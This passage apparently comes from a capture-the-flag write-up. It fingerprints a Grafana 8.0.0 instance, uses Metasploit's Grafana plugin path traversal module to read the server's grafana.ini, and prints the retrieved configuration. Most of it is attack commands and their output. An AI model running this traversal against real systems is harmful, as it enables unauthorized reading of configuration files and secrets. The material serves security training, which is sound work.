c0.1-1.2%2c0. -3-2.4%2c0.5-3.6c1.7-9.6%2c6.5-19%2c13.9-26.1c1.9-1.8%2c3.9-3.4%2c6-4.9c2.1-1.5%2c4.4-2.8%2c6.8-3.9c2.4-1.1%2c4.8-2%2c7.4-2.7 c2.5-0.7%2c5.1-1.1%2c7.8-1.4c1.3-0.1%2c2.6-0.2%2c4-0.2c0.4%2c0%2c0.6%2c0%2c0.9%2c0l1. -1%2c0l0.7%2c0c0.3%2c0%2c0%2c0%2c0.1%2c0l0.3%2c0l1.1%2c0.1 c2.9%2c0.2%2c5.7%2c0.6%2c8.5%2c1.3c5.6%2c1.2%2c11.1%2c3.3%2c16.2%2c6.1c10.2%2c5.7%2c18.9%2c14.5%2c24.2%2c25.1c2.7%2c5.3%2c4.6%2c11%2c5.5%2c16.9c0.2%2c1. -5%2c0.4%2c3%2c0.5%2c4.5 l0.1%2c1.1l0.1%2c1.1c0%2c0.4%2c0%2c0.8%2c0%2c1.1c0%2c0.4%2c0%2c0.8%2c0%2c1.1l0%2c1l0%2c1.1c0%2c0.7-0.1%2c1.9-0.1%2c2.6c-0.1%2c1.6-0.3%2c3.3-0.5%2c4.9 c-0.2%2c1.6-0.5%2c3.2-0.8%2c4.8c-0.3 -%2c1.6-0.7%2c3.2-1.1%2c4.7c-0.8%2c3.1-1.8%2c6.2-3%2c9.3c-2.4%2c6-5.6%2c11.8-9.4%2c17.1 c-7.7%2c10.6-18.2%2c19.2-30.2%2c24.7c-6%2c2.7-12.3%2c4.7-18.8%2c5.7c-3.2%2c0.6-6.5%2c0.9-9.8%2c1l-0.6%2c0l-0.5%2c0l-1.1%2c0 -l-1.6%2c0l-0.8%2c0 c0.4%2c0-0.1%2c0-0.1%2c0l-0.3%2c0c-1.8%2c0-3.5-0.1-5.3-0.3c-7-0.5-13.9-1.8-20.7-3.7c-6.7-1.9-13.2-4.6-19.4-7.8 c-12.3-6.6-23.4-15.6-32-26.5c-4.3-5.4-8.1-11.3-11.2-17.4c-3.1-6.1-5.6-12.6-7.4-1 -9.1c-1.8-6.6-2.9-13.3-3.4-20.1l-0.1-1.3l0-0.3 l0-0.3l0-0.6l0-1.1l0-0.3l0-0.4l0-0.8l0-1.6l0-0.3c0%2c0%2c0%2c0.1%2c0-0.1l0-0.6c0-0.8%2c0-1.7%2c0-2.5c0.1-3.3%2c0.4-6.8%2c0.8-10.2 c0.4-3.4%2c1-6.9%2c1.7-10.3c0.7-3. -4%2c1.5-6.8%2c2.5-10.2c1.9-6.7%2c4.3-13.2%2c7.1-19.3c5.7-12.2%2c13.1-23.1%2c22-31.8c2.2-2.2%2c4.5-4.2%2c6.9-6.2 c2.4-1.9%2c4.9-3.7%2c7.5-5.4c2.5-1.7%2c5.2-3.2%2c7.9-4.6c1.3-0.7%2c2.7-1.4%2c4.1-2c0.7-0.3%2c1.4-0 -.6%2c2.1-0.9c0.7-0.3%2c1.4-0.6%2c2.1-0.9 c2.8-1.2%2c5.7-2.2%2c8.7-3.1c0.7-0.2%2c1.5-0.4%2c2.2-0.7c0.7-0.2%2c1.5-0.4%2c2.2-0.6c1.5-0.4%2c3-0.8%2c4.5-1.1c0.7-0.2%2c1.5-0.3%2c2.3-0.5 c0.8-0.2%2c1.5-0.3%2c2.3-0.5c0 -.8-0.1%2c1.5-0.3%2c2.3-0.4l1.1-0.2l1.2-0.2c0.8-0.1%2c1.5-0.2%2c2.3-0.3c0.9-0.1%2c1.7-0.2%2c2.6-0.3 c0.7-0.1%2c1.9-0.2%2c2.6-0.3c0.5-0.1%2c1.1-0.1%2c1.6-0.2l1.1-0.1l0.5-0.1l0.6%2c0c0.9-0.1%2c1.7-0.1%2c2.6-0.2l1. -3-0.1c0%2c0%2c0.5%2c0%2c0.1%2c0l0.3%2c0 l0.6%2c0c0.7%2c0%2c1.5-0.1%2c2.2-0.1c2.9-0.1%2c5.9-0.1%2c8.8%2c0c5.8%2c0.2%2c11.5%2c0.9%2c17%2c1.9c11.1%2c2.1%2c21.5%2c5.6%2c31%2c10.3 c9.5%2c4.6%2c17.9%2c10.3%2c25.3%2c1 -6.5c0.5%2c0.4%2c0.9%2c0.8%2c1.4%2c1.2c0.4%2c0.4%2c0.9%2c0.8%2c1.3%2c1.2c0.9%2c0.8%2c1.7%2c1.6%2c2.6%2c2.4c0.9%2c0.8%2c1.7%2c1.6%2c2.5%2c2.4 c0.8%2c0.8%2c1.6%2c1.6%2c2.4%2c2.5c3.1%2c3.3%2c6%2c6.6%2c8.6%2c10c5.2% -2c6.7%2c9.4%2c13.5%2c12.7%2c19.9c0.2%2c0.4%2c0.4%2c0.8%2c0.6%2c1.2c0.2%2c0.4%2c0.4%2c0.8%2c0.6%2c1.2 c0.4%2c0.8%2c0.8%2c1.6%2c1.1%2c2.4c0.4%2c0.8%2c0.7%2c1.5%2c1.1%2c2.3c0.3%2c0.8%2c0.7%2c1.5%2c1%2c2.3c1.2%2c3% -2c2.4%2c5.9%2c3.3%2c8.6c1.5%2c4.4%2c2.6%2c8.3%2c3.5%2c11.7 c0.3%2c1.4%2c1.6%2c2.3%2c3%2c2.1c1.5-0.1%2c2.6-1.3%2c2.6-2.8C342.6%2c170.4%2c342.5%2c166.1%2c342%2c161.2z'/%3e %3c/svg%3e"); -     
Loading Grafana
-         If you're seeing this Grafana has failed to load its application files -         2. If you host grafana under subpath make sure your grafana.ini root_url setting includes subpath. If not -         3. Sometimes restarting grafana-server can help
-          -         var isEdgeVersion = /Edge\/([0-9.]+)/.exec(navigator.userAgent); -           ((isEdgeVersion && parseFloat(isEdgeVersion[1]) <= 16) || -         alert('Your browser is not fully supported, please try newer version.'); -       window.grafanaBootData = { -         user: {"isSignedIn":false,"id":0,"login":"","email":"","name":"","lightTheme":false,"orgCount":0,"orgId":0,"orgName":"","orgRole":"","isGrafanaAdmin":false,"gravatarUrl":"","timezone":"browser","local -e":"en-US","helpFlags1":0,"hasEditPermissionInFolders":false}, -         settings: {"alertingEnabled":true,"alertingErrorOrTimeout":"alerting","alertingMinInterval":1,"alertingNoDataOrNullValues":"no_data","allowOrgCreate":false,"appSubUrl":"","appUrl":"http://localhost:30 -00/","authProxyEnabled":false,"autoAssignOrg":true,"awsAllowedAuthProviders":["default","keys","credentials"],"awsAssumeRoleEnabled":true,"azure":{"cloud":"AzureCloud","managedIdentityEnabled":false},"buildInfo -":{"buildstamp":1623132323,"commit":"41f0542c1e","edition":"Open Source","env":"production","hasUpdate":false,"hideVersion":false,"isEnterprise":false,"latestVersion":"","version":"8.0.0"},"caching":{"enabled": -true},"datasources":{"-- Dashboard --":{"meta":{"type":"datasource","name":"-- Dashboard --","id":"dashboard","info":{"author":{"name":"","url":""},"description":"","links":null,"logos":{"small":"public/img/icn --datasource.svg","large":"public/img/icn-datasource.svg"},"build":{},"screenshots":null,"version":"","updated":""},"dependencies":{"grafanaVersion":"*","plugins":[]},"includes":null,"module":"app/plugins/dataso -urce/dashboard/module","baseUrl":"public/app/plugins/datasource/dashboard","category":"","preload":false,"signature":"internal","Root":null,"annotations":false,"metrics":true,"alerting":false,"explore":false,"t -ables":false,"logs":false,"tracing":false,"builtIn":true,"routes":null,"streaming":false},"name":"-- Dashboard --","type":"datasource"},"-- Grafana --":{"meta":{"type":"datasource","name":"-- Grafana --","id":" -grafana","info":{"author":{"name":"","url":""},"description":"","links":null,"logos":{"small":"public/img/icn-datasource.svg","large":"public/img/icn-datasource.svg"},"build":{},"screenshots":null,"version":"", -"updated":""},"dependencies":{"grafanaVersion":"*","plugins":[]},"includes":null,"module":"app/plugins/datasource/grafana/module","baseUrl":"public/app/plugins/datasource/grafana","category":"","preload":false, -"signature":"internal","Root":null,"annotations":true,"metrics":true,"alerting":false,"explore":false,"tables":false,"logs":false,"tracing":false,"builtIn":true,"routes":null,"streaming":false},"name":"-- Grafa -na --","type":"datasource"},"-- Mixed --":{"meta":{"type":"datasource","name":"-- Mixed --","id":"mixed","info":{"author":{"name":"","url":""},"description":"","links":null,"logos":{"small":"public/img/icn-data -source.svg","large":"public/img/icn-datasource.svg"},"build":{},"screenshots":null,"version":"","updated":""},"dependencies":{"grafanaVersion":"*","plugins":[]},"includes":null,"module":"app/plugins/datasource/ -mixed/module","baseUrl":"public/app/plugins/datasource/mixed","category":"","preload":false,"signature":"internal","Root":null,"annotations":false,"metrics":true,"alerting":false,"explore":false,"tables":false, -"logs":false,"tracing":false,"queryOptions":{"minInterval":true},"builtIn":true,"mixed":true,"routes":null,"streaming":false},"name":"-- Mixed --","type":"datasource"}},"dateFormats":{"fullDate":"YYYY-MM-DD HH: -mm:ss","useBrowserLocale":false,"interval":{"second":"HH:mm:ss","minute":"HH:mm","hour":"MM/DD HH:mm","day":"MM/DD","month":"YYYY-MM","year":"YYYY"},"defaultTimezone":"browser"},"defaultDatasource":"-- Grafana ---","disableLoginForm":false,"disableSanitizeHtml":false,"disableUserSignUp":true,"editorsCanAdmin":false,"exploreEnabled":true,"expressionsEnabled":true,"externalUserMngInfo":"","externalUserMngLinkName":"","e -xternalUserMngLinkUrl":"","featureToggles":{},"googleAnalyticsId":"","http2Enabled":false,"ldapEnabled":false,"licenseInfo":{"edition":"Open Source","expiry":0,"hasLicense":false,"hasValidLicense":false,"licens -eUrl":"https://grafana.com/products/enterprise/?utm_source=grafana_footer","stateInfo":""},"liveEnabled":true,"loginHint":"email or username","minRefreshInterval":"5s","oauth":{},"panels":{"alertlist":{"baseUrl -":"public/app/plugins/panel/alertlist","hideFromList":false,"id":"alertlist","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"Shows list of alerts and their current status","l -inks":null,"logos":{"small":"public/app/plugins/panel/alertlist/img/icn-singlestat-panel.svg","large":"public/app/plugins/panel/alertlist/img/icn-singlestat-panel.svg"},"build":{},"screenshots":null,"version":" -","updated":""},"module":"app/plugins/panel/alertlist/module","name":"Alert list","signature":"internal","skipDataQuery":true,"sort":15,"state":""},"barchart":{"baseUrl":"public/app/plugins/panel/barchart","hid -eFromList":false,"id":"barchart","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"Categorical charts with group support","links":null,"logos":{"small":"public/app/plugins/pane -l/barchart/img/barchart.svg","large":"public/app/plugins/panel/barchart/img/barchart.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/barchart/module","name":"Bar chart -","signature":"internal","skipDataQuery":false,"sort":2,"state":"beta"},"bargauge":{"baseUrl":"public/app/plugins/panel/bargauge","hideFromList":false,"id":"bargauge","info":{"author":{"name":"Grafana Labs","ur -l":"https://grafana.com"},"description":"Horizontal and vertical gauges","links":null,"logos":{"small":"public/app/plugins/panel/bargauge/img/icon_bar_gauge.svg","large":"public/app/plugins/panel/bargauge/img/i -con_bar_gauge.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/bargauge/module","name":"Bar gauge","signature":"internal","skipDataQuery":false,"sort":5,"state":""},"da -shlist":{"baseUrl":"public/app/plugins/panel/dashlist","hideFromList":false,"id":"dashlist","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"List of dynamic links to other das -hboards","links":null,"logos":{"small":"public/app/plugins/panel/dashlist/img/icn-dashlist-panel.svg","large":"public/app/plugins/panel/dashlist/img/icn-dashlist-panel.svg"},"build":{},"screenshots":null,"versi -on":"","updated":""},"module":"app/plugins/panel/dashlist/module","name":"Dashboard list","signature":"internal","skipDataQuery":true,"sort":16,"state":""},"gauge":{"baseUrl":"public/app/plugins/panel/gauge","h -ideFromList":false,"id":"gauge","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"Standard gauge visualization","links":null,"logos":{"small":"public/app/plugins/panel/gauge/im -g/icon_gauge.svg","large":"public/app/plugins/panel/gauge/img/icon_gauge.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/gauge/module","name":"Gauge","signature":"inte -rnal","skipDataQuery":false,"sort":4,"state":""},"gettingstarted":{"baseUrl":"public/app/plugins/panel/gettingstarted","hideFromList":true,"id":"gettingstarted","info":{"author":{"name":"Grafana Labs","url":"ht -tps://grafana.com"},"description":"","links":null,"logos":{"small":"public/app/plugins/panel/gettingstarted/img/icn-dashlist-panel.svg","large":"public/app/plugins/panel/gettingstarted/img/icn-dashlist-panel.sv -g"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/gettingstarted/module","name":"Getting Started","signature":"internal","skipDataQuery":true,"sort":100,"state":""},"graph -":{"baseUrl":"public/app/plugins/panel/graph","hideFromList":false,"id":"graph","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"The old default graph panel","links":null,"log -os":{"small":"public/app/plugins/panel/graph/img/icn-graph-panel.svg","large":"public/app/plugins/panel/graph/img/icn-graph-panel.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plu -gins/panel/graph/module","name":"Graph (old)","signature":"internal","skipDataQuery":false,"sort":13,"state":""},"heatmap":{"baseUrl":"public/app/plugins/panel/heatmap","hideFromList":false,"id":"heatmap","info -":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"Like a histogram over time","links":[{"name":"Brendan Gregg - Heatmaps","url":"http://www.brendangregg.com/heatmaps.html"},{"name": -"Brendan Gregg - Latency Heatmaps","url":" http://www.brendangregg.com/HeatMaps/latency.html"}],"logos":{"small":"public/app/plugins/panel/heatmap/img/icn-heatmap-panel.svg","large":"public/app/plugins/panel/he -atmap/img/icn-heatmap-panel.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/heatmap/module","name":"Heatmap","signature":"internal","skipDataQuery":false,"sort":10,"st -ate":""},"histogram":{"baseUrl":"public/app/plugins/panel/histogram","hideFromList":false,"id":"histogram","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"","links":null,"log -os":{"small":"public/app/plugins/panel/histogram/img/histogram.svg","large":"public/app/plugins/panel/histogram/img/histogram.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins -/panel/histogram/module","name":"Histogram","signature":"internal","skipDataQuery":false,"sort":12,"state":"beta"},"logs":{"baseUrl":"public/app/plugins/panel/logs","hideFromList":false,"id":"logs","info":{"aut -hor":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"","links":null,"logos":{"small":"public/app/plugins/panel/logs/img/icn-logs-panel.svg","large":"public/app/plugins/panel/logs/img/icn-logs --panel.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/logs/module","name":"Logs","signature":"internal","skipDataQuery":false,"sort":100,"state":""},"news":{"baseUrl" -:"public/app/plugins/panel/news","hideFromList":false,"id":"news","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"RSS feed reader","links":null,"logos":{"small":"public/app/p -lugins/panel/news/img/news.svg","large":"public/app/plugins/panel/news/img/news.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/news/module","name":"News","signature": -"internal","skipDataQuery":true,"sort":17,"state":"beta"},"nodeGraph":{"baseUrl":"public/app/plugins/panel/nodeGraph","hideFromList":false,"id":"nodeGraph","info":{"author":{"name":"Grafana Labs","url":"https:/ -/grafana.com"},"description":"","links":null,"logos":{"small":"public/app/plugins/panel/nodeGraph/img/icn-node-graph.svg","large":"public/app/plugins/panel/nodeGraph/img/icn-node-graph.svg"},"build":{},"screens -hots":null,"version":"","updated":""},"module":"app/plugins/panel/nodeGraph/module","name":"Node Graph","signature":"internal","skipDataQuery":false,"sort":100,"state":"beta"},"piechart":{"baseUrl":"public/app/ -plugins/panel/piechart","hideFromList":false,"id":"piechart","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"The new core pie chart visualization","links":null,"logos":{"smal -l":"public/app/plugins/panel/piechart/img/icon_piechart.svg","large":"public/app/plugins/panel/piechart/img/icon_piechart.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/pan -el/piechart/module","name":"Pie chart","signature":"internal","skipDataQuery":false,"sort":8,"state":""},"pluginlist":{"baseUrl":"public/app/plugins/panel/pluginlist","hideFromList":false,"id":"pluginlist","inf -o":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"Plugin List for Grafana","links":null,"logos":{"small":"public/app/plugins/panel/pluginlist/img/icn-dashlist-panel.svg","large":"p -ublic/app/plugins/panel/pluginlist/img/icn-dashlist-panel.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/pluginlist/module","name":"Plugin list","signature":"internal -","skipDataQuery":true,"sort":100,"state":""},"stat":{"baseUrl":"public/app/plugins/panel/stat","hideFromList":false,"id":"stat","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description -":"Big stat values \u0026 sparklines","links":null,"logos":{"small":"public/app/plugins/panel/stat/img/icn-singlestat-panel.svg","large":"public/app/plugins/panel/stat/img/icn-singlestat-panel.svg"},"build":{}, -"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/stat/module","name":"Stat","signature":"internal","skipDataQuery":false,"sort":3,"state":""},"state-timeline":{"baseUrl":"public/app/plu -gins/panel/state-timeline","hideFromList":false,"id":"state-timeline","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"State changes and durations","links":null,"logos":{"smal -l":"public/app/plugins/panel/state-timeline/img/timeline.svg","large":"public/app/plugins/panel/state-timeline/img/timeline.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/p -anel/state-timeline/module","name":"State timeline","signature":"internal","skipDataQuery":false,"sort":9,"state":"beta"},"status-history":{"baseUrl":"public/app/plugins/panel/status-history","hideFromList":fal -se,"id":"status-history","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"Periodic status history","links":null,"logos":{"small":"public/app/plugins/panel/status-history/img/s -tatus.svg","large":"public/app/plugins/panel/status-history/img/status.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/status-history/module","name":"Status history"," -signature":"internal","skipDataQuery":false,"sort":11,"state":"beta"},"table":{"baseUrl":"public/app/plugins/panel/table","hideFromList":false,"id":"table","info":{"author":{"name":"Grafana Labs","url":"https:/ -/grafana.com"},"description":"Supports many column styles","links":null,"logos":{"small":"public/app/plugins/panel/table/img/icn-table-panel.svg","large":"public/app/plugins/panel/table/img/icn-table-panel.svg" -},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/table/module","name":"Table","signature":"internal","skipDataQuery":false,"sort":6,"state":""},"table-old":{"baseUrl":"publ -ic/app/plugins/panel/table-old","hideFromList":false,"id":"table-old","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"Table Panel for Grafana","links":null,"logos":{"small":" -public/app/plugins/panel/table-old/img/icn-table-panel.svg","large":"public/app/plugins/panel/table-old/img/icn-table-panel.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/p -anel/table-old/module","name":"Table (old)","signature":"internal","skipDataQuery":false,"sort":100,"state":"deprecated"},"text":{"baseUrl":"public/app/plugins/panel/text","hideFromList":false,"id":"text","info -":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"Supports markdown and html content","links":null,"logos":{"small":"public/app/plugins/panel/text/img/icn-text-panel.svg","large":"p -ublic/app/plugins/panel/text/img/icn-text-panel.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/text/module","name":"Text","signature":"internal","skipDataQuery":true, -"sort":14,"state":""},"timeseries":{"baseUrl":"public/app/plugins/panel/timeseries","hideFromList":false,"id":"timeseries","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"Tim -e based line, area and bar charts","links":null,"logos":{"small":"public/app/plugins/panel/timeseries/img/icn-timeseries-panel.svg","large":"public/app/plugins/panel/timeseries/img/icn-timeseries-panel.svg"},"b -uild":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/timeseries/module","name":"Time series","signature":"internal","skipDataQuery":false,"sort":1,"state":""},"welcome":{"baseUrl": -"public/app/plugins/panel/welcome","hideFromList":true,"id":"welcome","info":{"author":{"name":"Grafana Labs","url":"https://grafana.com"},"description":"","links":null,"logos":{"small":"public/app/plugins/pane -l/welcome/img/icn-dashlist-panel.svg","large":"public/app/plugins/panel/welcome/img/icn-dashlist-panel.svg"},"build":{},"screenshots":null,"version":"","updated":""},"module":"app/plugins/panel/welcome/module", -"name":"Welcome","signature":"internal","skipDataQuery":true,"sort":100,"state":""}},"passwordHint":"password","pluginAdminEnabled":false,"pluginAdminExternalManageEnabled":false,"pluginCatalogURL":"https://gra -fana.com/grafana/plugins/","pluginsToPreload":[],"rendererAvailable":false,"rendererVersion":"","samlEnabled":false,"sentry":{"enabled":false,"dsn":"","customEndpoint":"/log","sampleRate":1},"sigV4AuthEnabled": -false,"verifyEmailEnabled":false,"viewersCanEdit":false}, -         navTree: [{"id":"dashboards","text":"Dashboards","subTitle":"Manage dashboards and folders","icon":"apps","url":"/","sortWeight":-1900,"children":[{"id":"home","text":"Home","icon":"home-alt","url":"/ -","hideFromTabs":true},{"id":"divider","text":"Divider","divider":true,"hideFromTabs":true},{"id":"manage-dashboards","text":"Manage","icon":"sitemap","url":"/dashboards"},{"id":"playlists","text":"Playlists"," -icon":"presentation-play","url":"/playlists"}]},{"id":"alerting","text":"Alerting","subTitle":"Alert rules and notifications","icon":"bell","url":"/alerting/list","sortWeight":-1600,"children":[{"id":"alert-lis -t","text":"Alert rules","icon":"list-ul","url":"/alerting/list"}]},{"id":"help","text":"Help","subTitle":"Grafana v8.0.0 (41f0542c1e)","icon":"question-circle","url":"#","sortWeight":-1200,"hideFromMenu":true}] -, -           light: 'public/build/grafana.light.08d1221db5b53eadbfe4.css', -           dark: 'public/build/grafana.dark.08d1221db5b53eadbfe4.css' -``` - -Luckily for me, I didn't have to read the whole file, because the version was at the very end : `"subTitle":"Grafana v8.0.0` - -```bash ->  msfconsole -q -msf > search Grafana - -Matching Modules -================ - -  #  Name                                             Disclosure Date  Rank    Check  Description -  -  ----                                             ---------------  ----    -----  ----------- -  0  auxiliary/admin/http/grafana_auth_bypass         2019-08-14       normal  No     Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OAuth -  1  auxiliary/scanner/http/grafana_plugin_traversal  2021-12-02       normal  No     Grafana Plugin Path Traversal - - -Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/http/grafana_plugin_traversal -``` - -0 can't be used since it goes from 2.0 through 5.2.2 and the version here is 8.0.0, we will try `auxiliary/scanner/http/grafana_plugin_traversal` . - -```bash -msf > use 1 -msf auxiliary(scanner/http/grafana_plugin_traversal) > check -[-] Msf::OptionValidateError One or more options failed to validate: RHOSTS. -msf auxiliary(scanner/http/grafana_plugin_traversal) > set RHOSTS 10.129.234.47 -RHOSTS => 10.129.234.47 -msf auxiliary(scanner/http/grafana_plugin_traversal) > check -[-] This module does not support check. -msf auxiliary(scanner/http/grafana_plugin_traversal) > set LHOST 10.10.14.12 -[!] Unknown datastore option: LHOST. Did you mean VHOST? -LHOST => 10.10.14.12 -msf auxiliary(scanner/http/grafana_plugin_traversal) > set RPORT 3000 -RPORT => 3000 -msf auxiliary(scanner/http/grafana_plugin_traversal) > run -[+] Detected vulnerable Grafana: 8.0.0 -[*] 10.129.234.47 - Progress   0/40 (0.0%) -[+] alertlist was found and exploited successfully -[+] 10.129.234.47:3000 - File saved in: /home/vagabond/.msf4/loot/20260521100133_default_10.129.234.47_grafana.loot_989095.ini -[*] Scanned 1 of 1 hosts (100% complete) -[*] Auxiliary module execution completed -``` - -Then we read the file : - -```bash ->  cat  /home/vagabond/.msf4/loot/20260521100133_default_10.129.234.47_grafana.loot_989095.ini - -##################### Grafana Configuration Example ##################### -# -# Everything has defaults so you only need to uncomment things you want to -# change - -# possible values : production, development -;app_mode = production - -# instance name, defaults to HOSTNAME environment variable value or hostname if HOSTNAME var is empty -;instance_name = ${HOSTNAME} - -#################################### Paths #################################### -[paths] -# Path to where grafana can store temp files, sessions, and the sqlite3 db (if that is used) -;data = /var/lib/grafana - -# Temporary files in `data` directory older than given duration will be removed -;temp_data_lifetime = 24h - -# Directory where grafana can store logs -;logs = /var/log/grafana - -# Directory where grafana will automatically scan and look for plugins -;plugins = /var/lib/grafana/plugins - -# folder that contains provisioning config files that grafana will apply on startup and while running. -;provisioning = conf/provisioning - -#################################### Server #################################### -[server] -# Protocol (http, https, h2, socket) -;protocol = http - -# The ip address to bind to, empty will bind to all interfaces -;http_addr = - -# The http port  to use -;http_port = 3000 - -# The public facing domain name used to access grafana from a browser -;domain = localhost - -# Redirect to correct domain if host header does not match domain -# Prevents DNS rebinding attacks -;enforce_domain = false - -# The full public facing url you use in browser, used for redirects and emails -# If you use reverse proxy and sub path specify full url (with sub path) -;root_url = %(protocol)s://%(domain)s:%(http_port)s/ - -# Serve Grafana from subpath specified in `root_url` setting. By default it is set to `false` for compatibility reasons. -;serve_from_sub_path = false - -# Log web requests -;router_logging = false - -# the path relative working path -;static_root_path = public - -# enable gzip -;enable_gzip = false - -# https certs & key file -;cert_file = -;cert_key = - -# Unix socket path -;socket = - -# CDN Url -;cdn_url = - -# Sets the maximum time using a duration format (5s/5m/5ms) before timing out read of an incoming request and closing idle connections. -# `0` means there is no timeout for reading the request. -;read_timeout = 0 - -#################################### Database #################################### -[database] -# You can configure the database connection by specifying type, host, name, user and password -# as separate properties or as on string using the url properties. - -# Either "mysql", "postgres" or "sqlite3", it's your choice -;type = sqlite3 -;host = 127.0.0.1:3306 -;name = grafana -;user = root -# If the password contains # or ; you have to wrap it with triple quotes. Ex """#password;""" -;password = - -# Use either URL or the previous fields to configure the database -# Example: mysql://user:secret@host:port/database -;url = - -# For "postgres" only, either "disable", "require" or "verify-full" -;ssl_mode = disable - -# Database drivers may support different transaction isolation levels. -# Currently, only "mysql" driver supports isolation levels. -# If the value is empty - driver's default isolation level is applied. -# For "mysql" use "READ-UNCOMMITTED", "READ-COMMITTED", "REPEATABLE-READ" or "SERIALIZABLE". -;isolation_level = - -;ca_cert_path = -;client_key_path = -;client_cert_path = -;server_cert_name = - -# For "sqlite3" only, path relative to data_path setting -;path = grafana.db - -# Max idle conn setting default is 2 -;max_idle_conn = 2 - -# Max conn setting default is 0 (mean not set) -;max_open_conn = - -# Connection Max Lifetime default is 14400 (means 14400 seconds or 4 hours) -;conn_max_lifetime = 14400 - -# Set to true to log the sql calls and execution times. -;log_queries = - -# For "sqlite3" only. cache mode setting used for connecting to the database. (private, shared) -;cache_mode = private - -################################### Data sources ######################### -[datasources] -# Upper limit of data sources that Grafana will return. This limit is a temporary configuration and it will be deprecated when pagination will be introduced on the list data sources API. -;datasource_limit = 5000 - -#################################### Cache server ############################# -[remote_cache] -# Either "redis", "memcached" or "database" default is "database" -;type = database - -# cache connectionstring options -# database: will use Grafana primary database. -# redis: config like redis server e.g. `addr=127.0.0.1:6379,pool_size=100,db=0,ssl=false`. Only addr is required. ssl may be 'true', 'false', or 'insecure'. -# memcache: 127.0.0.1:11211 -;connstr = - -#################################### Data proxy ########################### -[dataproxy] - -# This enables data proxy logging, default is false -;logging = false - -# How long the data proxy waits to read the headers of the response before timing out, default is 30 seconds. -# This setting also applies to core backend HTTP data sources where query requests use an HTTP client with timeout set. -;timeout = 30 - -# How long the data proxy waits to establish a TCP connection before timing out, default is 10 seconds. -;dialTimeout = 10 - -# How many seconds the data proxy waits before sending a keepalive probe request. -;keep_alive_seconds = 30 - -# How many seconds the data proxy waits for a successful TLS Handshake before timing out. -;tls_handshake_timeout_seconds = 10 - -# How many seconds the data proxy will wait for a server's first response headers after -# fully writing the request headers if the request has an "Expect: 100-continue" -# header. A value of 0 will result in the body being sent immediately, without -# waiting for the server to approve. -;expect_continue_timeout_seconds = 1 - -# The maximum number of idle connections that Grafana will keep alive. -;max_idle_connections = 100 - -# The maximum number of idle connections per host that Grafana will keep alive. -;max_idle_connections_per_host = 2 - -# How many seconds the data proxy keeps an idle connection open before timing out. -;idle_conn_timeout_seconds = 90 - -# If enabled and user is not anonymous, data proxy will add X-Grafana-User header with username into the request, default is false. -;send_user_header = false - -#################################### Analytics #################################### -[analytics] -# Server reporting, sends usage counters to stats.grafana.org every 24 hours. -# No ip addresses are being tracked, only simple counters to track -# running instances, dashboard and error counts. It is very helpful to us. -# Change this option to false to disable reporting. -;reporting_enabled = true - -# The name of the distributor of the Grafana instance. Ex hosted-grafana, grafana-labs -;reporting_distributor = grafana-labs - -# Set to false to disable all checks to https://grafana.net -# for new versions (grafana itself and plugins), check is used -# in some UI views to notify that grafana or plugin update exists -# This option does not cause any auto updates, nor send any information -# only a GET request to http://grafana.com to get latest versions -;check_for_updates = true - -# Google Analytics universal tracking code, only enabled if you specify an id here -;google_analytics_ua_id = - -# Google Tag Manager ID, only enabled if you specify an id here -;google_tag_manager_id = - -#################################### Security #################################### -[security] -# disable creation of admin user on first start of grafana -;disable_initial_admin_creation = false - -# default admin user, created on startup -;admin_user = admin - -# default admin password, can be changed before first start of grafana,  or in profile settings -;admin_password = admin - -# used for signing -;secret_key = SW2YcwTIb9zpOOhoPsMm - -# disable gravatar profile images -;disable_gravatar = false - -# data source proxy whitelist (ip_or_domain:port separated by spaces) -;data_source_proxy_whitelist = - -# disable protection against brute force login attempts -;disable_brute_force_login_protection = false - -# set to true if you host Grafana behind HTTPS. default is false. -;cookie_secure = false - -# set cookie SameSite attribute. defaults to `lax`. can be set to "lax", "strict", "none" and "disabled" -;cookie_samesite = lax - -# set to true if you want to allow browsers to render Grafana in a ,